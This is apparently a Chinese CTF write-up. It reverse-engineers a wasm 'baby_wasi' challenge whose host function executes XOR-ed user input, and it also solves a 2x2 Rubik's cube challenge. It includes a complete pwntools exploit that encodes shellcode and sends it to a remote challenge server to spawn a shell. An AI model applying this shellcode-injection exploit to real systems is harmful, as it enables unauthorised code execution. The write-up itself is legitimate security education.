    i0 = malloc(i0);
    l2 = i0;
    i0 = !(i0);
    if (i0) {goto B0;}
    i0 = l1;
    i1 = l2;
    i2 = l0;
    i2 = i32_load((&memory), (u64)(i2 + 4));
    i0 = (*Z_wasi_unstableZ_fd_prestat_dir_nameZ_iiii)(i0, i1, i2);
    i0 = !(i0);
    if (i0) {goto B5;}
    i0 = l2;
    free(i0);
    goto B0;
    B5:;
    i0 = l2;
    i1 = l0;
    i1 = i32_load((&memory), (u64)(i1 + 4));
    i0 += i1;
    i1 = 0u;
    i32_store8((&memory), (u64)(i0), i1);
    i0 = l1;
    i1 = l2;
    i0 = __wasilibc_register_preopened_fd(i0, i1);
    l3 = i0;
    i0 = l2;
    free(i0);
    i0 = l3;
    if (i0) {goto B0;}
    B4:;
    i0 = l1;
    i1 = 1u;
    i0 += i1;
    l2 = i0;
    i1 = l1;
    i0 = i0 < i1;
    l3 = i0;
    i0 = l2;
    l1 = i0;
    i0 = l3;
    i0 = !(i0);
    if (i0) {goto L1;}
    B2:;
  i0 = l0;
  i1 = l0;
  i2 = 12u;
  i1 += i2;
  i0 = (*Z_wasi_unstableZ_environ_sizes_getZ_iii)(i0, i1);
  if (i0) {goto B8;}
  i0 = 0u;
  i1 = l0;
  i1 = i32_load((&memory), (u64)(i1));
  i2 = 2u;
  i1 <<= (i2 & 31);
  i2 = 4u;
  i1 += i2;
  i1 = malloc(i1);
  i32_store((&memory), (u64)(i0 + 1528), i1);
  i0 = l0;
  i0 = i32_load((&memory), (u64)(i0 + 12));
  i0 = malloc(i0);
  l1 = i0;
  i0 = !(i0);
  if (i0) {goto B8;}
  i0 = 0u;
  i0 = i32_load((&memory), (u64)(i0 + 1528));
  l2 = i0;
  i0 = !(i0);
  if (i0) {goto B8;}
  i0 = l2;
  i1 = l0;
  i1 = i32_load((&memory), (u64)(i1));
  i2 = 2u;
  i1 <<= (i2 & 31);
  i0 += i1;
  i1 = 0u;
  i32_store((&memory), (u64)(i0), i1);
  i0 = 0u;
  i0 = i32_load((&memory), (u64)(i0 + 1528));
  i1 = l1;
  i0 = (*Z_wasi_unstableZ_environ_getZ_iii)(i0, i1);
  if (i0) {goto B8;}
  i0 = l0;
  i1 = 12u;
  i0 += i1;
  i1 = l0;
  i0 = (*Z_wasi_unstableZ_args_sizes_getZ_iii)(i0, i1);
  if (i0) {goto B7;}
  i0 = l0;
  i0 = i32_load((&memory), (u64)(i0 + 12));
  l1 = i0;
  if (i0) {goto B10;}
  goto B9;
  B10:;
  i0 = l1;
  i1 = 2u;
  i0 <<= (i1 & 31);
  i1 = 4u;
  i0 += i1;
  i0 = malloc(i0);
  l1 = i0;
  i0 = l0;
  i0 = i32_load((&memory), (u64)(i0));
  i0 = malloc(i0);
  l2 = i0;
  i0 = l1;
  i0 = !(i0);
  if (i0) {goto B7;}
  i0 = l2;
  i0 = !(i0);
  if (i0) {goto B7;}
  i0 = l1;
  i1 = 0u;
  i32_store((&memory), (u64)(i0), i1);
  i0 = l1;
  i1 = l2;
  i0 = (*Z_wasi_unstableZ_args_getZ_iii)(i0, i1);
  if (i0) {goto B7;}
  B9:;
  __wasm_call_ctors();
  i0 = l0;
  i0 = i32_load((&memory), (u64)(i0 + 12));
  i1 = l1;
  i0 = main(i0, i1);
  l1 = i0;
  __prepare_for_exit();
  i0 = l1;
  if (i0) {goto B6;}
  i0 = l0;
  i1 = 16u;
  i0 += i1;
  g0 = i0;
  goto Bfunc;
  B8:;
  i0 = 71u;
  _Exit(i0);
  UNREACHABLE;
  B7:;
  i0 = 71u;
  _Exit(i0);
  UNREACHABLE;
  B6:;
  i0 = l1;
  _Exit(i0);
  UNREACHABLE;
  B0:;
  i0 = 71u;
  _Exit(i0);
  UNREACHABLE;
  Bfunc:;
  FUNC_EPILOGUE;
}

然后根据这个可以识别出来main函数,找到main函数以后就比较好找关键函数的位置了,关键函数如下:

__int64 real_main()
{
  unsigned int v0; // ST38_4
  unsigned int v1; // eax
  unsigned int c; // ST2C_4
  int v3; // ST30_4
  int v5; // [rsp+18h] [rbp-28h]
  unsigned int v7; // [rsp+1Ch] [rbp-24h]
  unsigned int lucky_num; // [rsp+20h] [rbp-20h]

  if ( ++wasm_rt_call_stack_depth > 0x1F4u )
    wasm_rt_trap(7LL);
  g0 -= 96;
  v7 = g0;
  v5 = 0;
  v0 = f28(0);
  f88(v0);
  lucky_num = (signed int)f89() % 10000;
  i32_store(&memory, v7 + 16, lucky_num);
  f40(1024LL, v7 + 16);                      // Your lucky number: %d\n
  i32_store(&memory, v7, v7 + 32);
  f69(1047u, v7);                             // %64s
  while ( v5 != 64 )
  {
    c = i32_load8_u(&memory, v5 + v7 + 32);
    v3 = get_lucky(v5 + lucky_num);
    i32_store8(&memory, v5++ + v7 + 32, v3 ^ c);
  }
  Z_envZ_boomZ_vii(v7 + 32, 64LL);              // 调用boom函数
  v1 = i32_load(&memory, 3416LL);
  f39(v1);
  g0 = v7 + 96;
  --wasm_rt_call_stack_depth;
  return 0LL;
}

f40的参数是1024,f69的参数是1047,刚好对应之前的字符串常量之间的偏移,memory的初始化如下:

char *init_memory()
{
  _QWORD *v0; // rdx
  _QWORD *v1; // rdx
  _QWORD *v2; // rdx
  _BYTE *v3; // rdi
  signed __int64 v4; // rdx
  char *result; // rax

  wasm_rt_allocate_memory(&memory, 2LL, 0x10000LL);
  v0 = (_QWORD *)(memory + 1024);
  *v0 = *(_QWORD *)"Your lucky number: %d\n";
  *(_QWORD *)((char *)v0 + 3060) = *(_QWORD *)&data_segment_data_0[3060];
  qmemcpy(
    (void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL),
    (const void *)("Your lucky number: %d\n" - ((char *)v0 - ((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
    8LL * ((((_DWORD)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 3068) & 0xFFFFFFF8) >> 3));
  v1 = (_QWORD *)(memory + 4096);
  *v1 = data_segment_data_1[0];
  v1[328] = data_segment_data_1[328];
  qmemcpy(
    (void *)((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8LL),
    (const void *)((char *)data_segment_data_1 - ((char *)v1 - ((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
    8LL * ((((_DWORD)v1 - (((_DWORD)v1 + 8) & 0xFFFFFFF8) + 2632) & 0xFFFFFFF8) >> 3));
  v2 = (_QWORD *)(memory + 6728);
  *v2 = data_segment_data_2[0];
  *(_QWORD *)((char *)v2 + 348) = *(_QWORD *)((char *)&data_segment_data_2[43] + 4);
  v3 = (_BYTE *)((unsigned __int64)(v2 + 1) & 0xFFFFFFFFFFFFFFF8LL);
  v4 = (char *)v2 - v3;
  result = (char *)data_segment_data_2 - v4;
  qmemcpy(v3, (char *)data_segment_data_2 - v4, 8LL * ((((_DWORD)v4 + 356) & 0xFFFFFFF8) >> 3));
  return result;
}

可以看到memory + 1024中是"Your lucky number"所以可以大致猜到f40是printf函数
然后其他的字符串偏移如下:

.rodata:0000000000032FC0 data_segment_data_0 db 'Your lucky number: %d',0Ah,0
.rodata:0000000000032FC0                 ; DATA XREF: init_memory+2A↑o
.rodata:0000000000032FD7 a64s            db '%64s',0
.rodata:0000000000032FDC aReady          db 'Ready!!!',0

memory + 1024 - 0x32FC0 + 0x32FD7 = memory + 1047,所以f69的第一个参数是"%64",推断出f69是scanf函数。附加一些wasm中函数含义

i32_store(&memory, v7 + 16, lucky_num);  // v7+16 = lucky_num
c = i32_load8_u(&memory, v5 + v7 + 32);  // c = v5+v7+32
v1 = i32_load(&memory, 3416LL);  //加载3416处的值到v1中

wasmer-c-api

主程序baby_wasi加载并执行program.wasm,其中baby_wasi是使用了一些wasmer-c-api来执行wasm的,需要了解一下这些api的含义才能更好的理解程序执行过程. wasmer-c-api的手册https://docs.rs/wasmer-runtime-c-api/0.16.2/wasmer_runtime_c_api/
找到了一个使用wasmer-c-api执行wasm的例子,对照这个例子理解一下:

#include <stdio.h>
#include "../wasmer.h"
#include <assert.h>
#include <stdint.h>
#include <string.h>

typedef struct {
    int32_t amount;
    int32_t value;
} counter_data;

typedef struct {
    uint8_t* bytes;
    long bytes_len;
} wasm_file_t;

wasm_file_t read_wasm_file(const char* file_name) {
    wasm_file_t wasm_file;

    FILE *file = fopen(file_name, "r");
    fseek(file, 0, SEEK_END);
    wasm_file.bytes_len = ftell(file);

    wasm_file.bytes = malloc(wasm_file.bytes_len);
    fseek(file, 0, SEEK_SET);
    fread(wasm_file.bytes, 1, wasm_file.bytes_len, file);
    fclose(file);

    return wasm_file;
}

void inc_counter(wasmer_instance_context_t *ctx) {
    counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
    data->value = data->value + data->amount;
}

void mul_counter(wasmer_instance_context_t *ctx) {
    counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
    data->value = data->value * data->amount;
}

int32_t get_counter(wasmer_instance_context_t *ctx) {
    counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
    return data->value;
}

counter_data *init_counter(int32_t value, int32_t amount) {
    counter_data* counter = malloc(sizeof(counter_data));
    counter->value = value;
    counter->amount = amount;
    return counter;
}

wasmer_import_t create_import(char* module_name, char* import_name, wasmer_import_func_t *func) {
    wasmer_import_t import;
    wasmer_byte_array module_name_bytes;
    wasmer_byte_array import_name_bytes;

    module_name_bytes.bytes = (const uint8_t *) module_name;
    module_name_bytes.bytes_len = strlen(module_name);

    import_name_bytes.bytes = (const uint8_t *) import_name;
    import_name_bytes.bytes_len = strlen(import_name);

    import.module_name = module_name_bytes;
    import.import_name = import_name_bytes;

    import.tag = WASM_FUNCTION;
    import.value.func = func;

    return import;
}

int main()
{
    // Prepare Imports
    wasmer_value_tag inc_params_sig[] = {};
    wasmer_value_tag inc_returns_sig[] = {};
    //把inc_counter函数加载到wasm的env中并命名位inc
    wasmer_import_func_t *inc_func = wasmer_import_func_new((void (*)(void *)) inc_counter, inc_params_sig, 0, inc_returns_sig, 0);
    wasmer_import_t inc_import = create_import("env", "inc", inc_func);

    wasmer_value_tag mul_params_sig[] = {};
    wasmer_value_tag mul_returns_sig[] = {};
    //把mul_counter函数加载到wasm的env中并命名位mul
    wasmer_import_func_t *mul_func = wasmer_import_func_new((void (*)(void *)) mul_counter, mul_params_sig, 0, mul_returns_sig, 0);
    wasmer_import_t mul_import = create_import("env", "mul", mul_func);

    wasmer_value_tag get_params_sig[] = {};
    wasmer_value_tag get_returns_sig[] = {WASM_I32};
    //把get_counter函数加载到wasm的env中并命名位get
    wasmer_import_func_t *get_func = wasmer_import_func_new((void (*)(void *)) get_counter, get_params_sig, 0, get_returns_sig, 1);
    wasmer_import_t get_import = create_import("env", "get", get_func);

    // Read the wasm file
    wasm_file_t wasm_file = read_wasm_file("inc.wasm");

    // Compile module
        wasmer_module_t *module = NULL;
        wasmer_result_t compile_res = wasmer_compile(&module, wasm_file.bytes, wasm_file.bytes_len);
        assert(compile_res == WASMER_OK);

        // Prepare Import Object
    wasmer_import_object_t *import_object = wasmer_import_object_new();

    // First, we import `inc_counter` and `mul_counter`
    wasmer_import_t imports[] = {inc_import, mul_import};
    wasmer_result_t extend_res = wasmer_import_object_extend(import_object, imports, 2);
    assert(extend_res == WASMER_OK);

    // Now, we'll import `inc_counter` and `mul_counter`
    wasmer_import_t more_imports[] = {get_import};
    wasmer_result_t extend_res2 = wasmer_import_object_extend(import_object, more_imports, 1);
    assert(extend_res2 == WASMER_OK);

    // Same `wasmer_import_object_extend` as the first, doesn't affect anything
    wasmer_result_t extend_res3 = wasmer_import_object_extend(import_object, imports, 2);
    assert(extend_res3 == WASMER_OK);

    // Instantiate instance
    printf("Instantiating\n");
    wasmer_instance_t *instance = NULL;
    wasmer_result_t instantiate_res = wasmer_module_import_instantiate(&instance, module, import_object);
    printf("Compile result:  %d\n", instantiate_res);
    assert(instantiate_res == WASMER_OK);

    // Init counter
    counter_data *counter = init_counter(2, 5);
    wasmer_instance_context_data_set(instance, counter);

    wasmer_value_t result_one;
    wasmer_value_t params[] = {};
    wasmer_value_t results[] = {result_one};
    
    // 调用wast的inc_and_get函数
    wasmer_result_t call1_result = wasmer_instance_call(instance, "inc_and_get", params, 0, results, 1);
    printf("Call result:  %d\n", call1_result);
    printf("Result: %d\n", results[0].value.I32);
    
    // 调用wast的mul_and_get函数
    wasmer_result_t call2_result = wasmer_instance_call(instance, "mul_and_get", params, 0, results, 1);
    printf("Call result:  %d\n", call2_result);
    printf("Result: %d\n", results[0].value.I32);

    // Clear resources
    wasmer_import_func_destroy(inc_func);
    wasmer_import_func_destroy(mul_func);
    wasmer_import_func_destroy(get_func);
    wasmer_instance_destroy(instance);
    free(counter);
    free(wasm_file.bytes);

    return 0;
}

//inc.wast
(module
  (func $inc (import "env" "inc"))
  (func $mul (import "env" "mul"))
  (func $get (import "env" "get") (result i32))

  (func (export "inc_and_get") (result i32)
      call $inc
      call $get)

  (func (export "mul_and_get") (result i32)
      call $mul
      call $get))

然后对比着看我们的baby_wasi:

  v73 = wasmer_import_func_new(boom, &v56, 2LL, &v55, 0LL);
  s = "env";
  *(_QWORD *)&v54 = "env";
  DWORD2(v54) = strlen("env");
  v71 = "boom";
  v52 = "boom";
  LODWORD(v53) = strlen("boom");
  v47 = v54;
  v48 = "boom";
  v49 = v53;

可以看到baby_wasi把boom函数导入了wasm的env中,然后来看一下program.wat中相应的部分:

  (import "wasi_unstable" "fd_prestat_get" (func (;0;) (type 2)))
  (import "wasi_unstable" "fd_prestat_dir_name" (func (;1;) (type 0)))
  (import "env" "boom" (func (;2;) (type 3)))  //在这里导入了
  (import "wasi_unstable" "clock_time_get" (func (;3;) (type 4)))
  (import "wasi_unstable" "proc_exit" (func (;4;) (type 5)))

在刚才找到的关键代码处:

 scanf(1047u, v7);                             // %64s
  while ( v5 != 64 )
  {
    c = i32_load8_u(&memory, v5 + v7 + 32);
    v3 = get_lucky(v5 + lucky_num);
    i32_store8(&memory, v5++ + v7 + 32, v3 ^ c);
  }
  Z_envZ_boomZ_vii(v7 + 32, 64LL);  // 调用boom函数

Z_envZ_boomZ_vii就是boom函数
所以在对输入进行异或之后,把异或后的内容的地址作为参数调用了boom函数

__int64 __fastcall boom(__int64 a1, int a2, int a3)
{
  int v3; // ST00_4
  void *dest; // ST28_8
  __int64 v5; // rax
  const void *v6; // rsi

  v3 = a3;
  dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  v5 = wasmer_instance_context_memory(a1, 0LL);
  v6 = (const void *)(wasmer_memory_data(v5) + a2);
  memcpy(dest, v6, v3);
  return ((__int64 (__fastcall *)(void *, const void *))dest)(dest, v6);
}

可以看到boom函数直接执行了输入后异或的代码,简单来说就是我们输入一个长度小于64的字符串,然后程序把这个字符串异或以后执行,所以我们需要传入一段经过异或的shell,程序就可以执行这个shell了。异或的部分根据wp来看是key[i]=emirp[lucky_nubmer + i] % 256, emirp 即为反素数序列,可以参考:https://oeis.org/A006567 我们可以直接还原代码对shell异或

exp

from pwn import *
context.log_level = 'debug'
#context.terminal=['tmux','split','-h']
context(arch='amd64', os='linux',log_level='debug')
debug = 1

def prime_test(n):
    if n & 1 and n % 3 :
        v3 = 7
        while (v3 - 6) ** 2 < n:
            if n % (v3 - 2) :
                v1 = n % v3
                v3 += 6
                if v1:
                    continue
            return 0
        return 1
    return 0

def invsere_decimal(x):
    return int(str(x)[::-1])

def is_prime(x):
    v3 = invsere_decimal(x)
    if v3 != x and prime_test(x):
        return prime_test(v3) != 0
    return False

def next_prime(x):
    v3 = 0
    v4 = 0
    v5 = 0
    while v4 < x + 1:
        v6 = is_prime(v3)
        if v6:
            v1 = v3
        else:
            v1 = v5

        v5 = v1
        v3 = v3 + 1
        if v6:
            v4 += 1
    return v5

def payload_encode(payload, lck_n):
    print 'lck:%d' % lck_n
    rtn = ''
    for i in xrange(len(payload)):
        c = ord(payload[i]) ^ (next_prime(lck_n) & 0xff)
        lck_n += 1
        rtn += chr(c)
    return rtn

if debug:
    p = process('./baby_wasi')
else:
    p = remote('121.37.164.32', 19008)

def exp():
    #gdb.attach(p, 'b boom')
    p.recvuntil("Your lucky number: ")
    lckn = int(p.recv())
    #payload = '\xff' * 64
    payload = asm(shellcraft.sh())
    print "[+]payload plain: "+payload
    payload = payload_encode(payload, lckn)
    print '[+] payload len: %d' % len(payload)
    p.sendline(payload)
    p.interactive()

s = raw_input('wait for gdb')
exp()

Rubik(魔方)

题目是Rubik加上提供了URF三种操作,所以是一个魔方题。然后魔方的状态使用最多9个字节描述,说明是一个2*2的魔方(3*3的魔方至少需要21个字节描述)
在线魔方求解器
OptimalSolver-Nu1L
py222-Helica
我感觉helica这个魔方求解器的逻辑要简单一些(Nu1L给的魔方求解器能求出来一些py222不能给的解法),所以我还是用了师父给的,毕竟我研究了挺久只会这个...

2*2魔方简介

首先一个标准的魔方是如下结构的:

       ┌──┬──┐
       │ 0│ 1│
       ├──┼──┤
       │ 2│ 3│
 ┌──┬──┼──┼──┼──┬──┬──┬──┐
 │16│17│ 8│ 9│ 4│ 5│20│21│
 ├──┼──┼──┼──┼──┼──┼──┼──┤
 │18│19│10│11│ 6│ 7│22│23│
 └──┴──┼──┼──┼──┴──┴──┴──┘
       │12│13│
       ├──┼──┤
       │14│15│
       └──┴──┘

一个魔方分为UDFBRL六个面,按照上面这个标准的魔方展开图来说,891011这个面是F面,0123这个面是U面,4567这个面是R面,然后FUR这三个操作就是分别对应这三个面做顺时针旋转操作(F2指对F面顺时针旋转两次, F'指对F面逆时针旋转一次)

py222用法

solver.py里面给出了求解的调用过程

#doAlgStr(state, move)表示对处于state的魔方进行move操作
s = py222.doAlgStr(py222.initState(), "R U2 R2 F2 R' F2 R F R")
#打印进行上述操作后的魔方状态
py222.printCube(s)
#求解,输入s是一个长度为24的整数数组,
solveCube(s)

魔方还原

明白是一个2*2的魔方之后,主要的难点在于给的状态并不是按照标准魔方状态给的,就是给的9字节状态,转成24长度的数组后,数组的0123位并不对于上面给的魔方标准状态的0123位置,为了还原位置我们需要记录对标准魔方分别做URF后的状态。题目中给的标准状态数字是0xB6D9246DB492249,我们在旋转魔方操作之前将表示状态的内存中的数字修改为0xB6D9246DB492249,然后分别做URF操作,记录操作后的状态

x /2xg addr //按照16进制打印addr处的内容(一个g是8字节)

set {long}addr = 0xB6D9246DB492249 //修改addr处的内容

用下面程序还原分别做URF操作后魔方的状态

def printc(c):
    for i in range(6):
        print("".join(str(a) for a in c[i*4:i*4+4]),end=" ")
    print("\n")
def change_format(b):
    buf = ''
    for i in range(72):
        buf += chr(ord('0') + bool(((1<<i) & b)))
    buf = buf[::-1]

    s = ''
    for i in range(len(buf)):
        s += buf[i]
        if i%3 == 2:
            s += ' '
    # print(s)
    s = s.split(' ')
    t = [0] * 24

    for x in range(24):
        tmp = int(s[x], 2)
        t[x] = tmp
    return t
print("init")
c =  change_format(0xB6D9246DB492249)
printc(c)
print("after U")
c =  change_format(0x0a4db646db912291)
printc(c)
print("after R")
c =  change_format(0x900b6d8dc64b492009)
printc(c)
print("after F")
c =  change_format(0x09002d924b5b4da249)
printc(c)
"""
init
0000 5555 4444 3333 2222 1111

after U
0000 5115 5544 3333 4422 1221

after R
4400 5555 4334 3113 2222 0011

after F
0220 0055 4444 5533 2332 1111
"""

根据上面的结果可以按照字符串顺序还原出这个魔方对应的状态

       ┌──┬──┐
       │15│14│
       ├──┼──┤
       │12│13│
 ┌──┬──┼──┼──┼──┬──┬──┬──┐
 │ 6│ 5│22│21│17│16│ 9│ 8│
 ├──┼──┼──┼──┼──┼──┼──┼──┤
 │ 7│ 4│23│20│18│19│10│11│
 └──┴──┼──┼──┼──┴──┴──┴──┘
       │ 2│ 1│
       ├──┼──┤
       │ 3│ 0│
       └──┴──┘

也就是说,字符串中第0个位置对应py222给出的标准魔方的第15个位置,字符串中第1个位置对应py222给出的标准魔方的第13个位置
然后我们根据字符的顺序,将这些字符填入它们在标准魔方中的对应位置后求解

import py222
import solver

def change_format(a, b):
    buf = ''    
    for i in range(64):
        buf += chr(ord('0') + bool(((1<<i) & b)))
    for i in range(8):
        buf += chr(ord('0') + bool(((1<<i) & a)))
    buf = buf[::-1]  #每三比特表示一个面的状态

    s = ''
    for i in range(len(buf)):
        s += buf[i]
        if i%3 == 2:
            s += ' '
    print(s)
    s = s.split(' ')
    t = [0] * 24

    for x in range(24):
        tmp = int(s[x], 2)
        t[x] = tmp
    tbl = [15, 13, 12, 14, 19, 17, 16, 18, 21, 20, 22, 23, 2, 3, 1, 0, 5, 4, 6, 7, 11, 9, 8, 10]
    ns = [0] * 24

    for pos in range(24):
        ns[tbl[pos]] = t[pos]
    
    return ns

c =  change_format(0x22, 0x00cd0d496d3132d2)  #初始状态,第一个参数是最高字节,第二个参数是低8字节
print(c)

solver.solveCube(c)

"""
R F' R F R' F U' F'
题目中没有定义F2,F'这些操作,F2就是FF,F'就是FFF
"""
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,271评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,275评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,151评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,550评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,553评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,559评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,924评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,580评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,826评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,578评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,661评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,363评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,940评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,926评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,156评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,872评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,391评论 2 342

推荐阅读更多精彩内容